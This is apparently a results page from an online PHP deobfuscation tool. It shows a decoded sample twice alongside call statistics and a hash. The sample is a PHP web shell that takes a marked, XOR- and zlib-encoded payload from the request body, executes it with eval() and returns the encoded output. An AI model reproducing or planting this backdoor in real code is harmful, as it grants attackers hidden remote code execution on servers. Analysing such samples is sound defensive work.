Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function x($t, $k) { $l = strlen($t); for ($i = 0; $i < $l; ) { ..
Decoded Output download
<?php
function x($t, $k)
{
$l = strlen($t);
for ($i = 0; $i < $l; ) {
for ($j = 0; $j < 3 && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
if (@preg_match("/6f8af44abea0(.+)351039f4a7b5/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print "0UlYyJHG87EJqEz66f8af44abea0$r351039f4a7b5";
}
?>
Did this file decode correctly?
Original Code
<?php
function x($t, $k)
{
$l = strlen($t);
for ($i = 0; $i < $l; ) {
for ($j = 0; $j < 3 && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
if (@preg_match("/6f8af44abea0(.+)351039f4a7b5/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print "0UlYyJHG87EJqEz66f8af44abea0$r351039f4a7b5";
}
?>
Function Calls
preg_match | 1 |
file_get_contents | 1 |
Stats
MD5 | 2febe6014a92e85bead6ffad657e010e |
Eval Count | 0 |
Decode Time | 274 ms |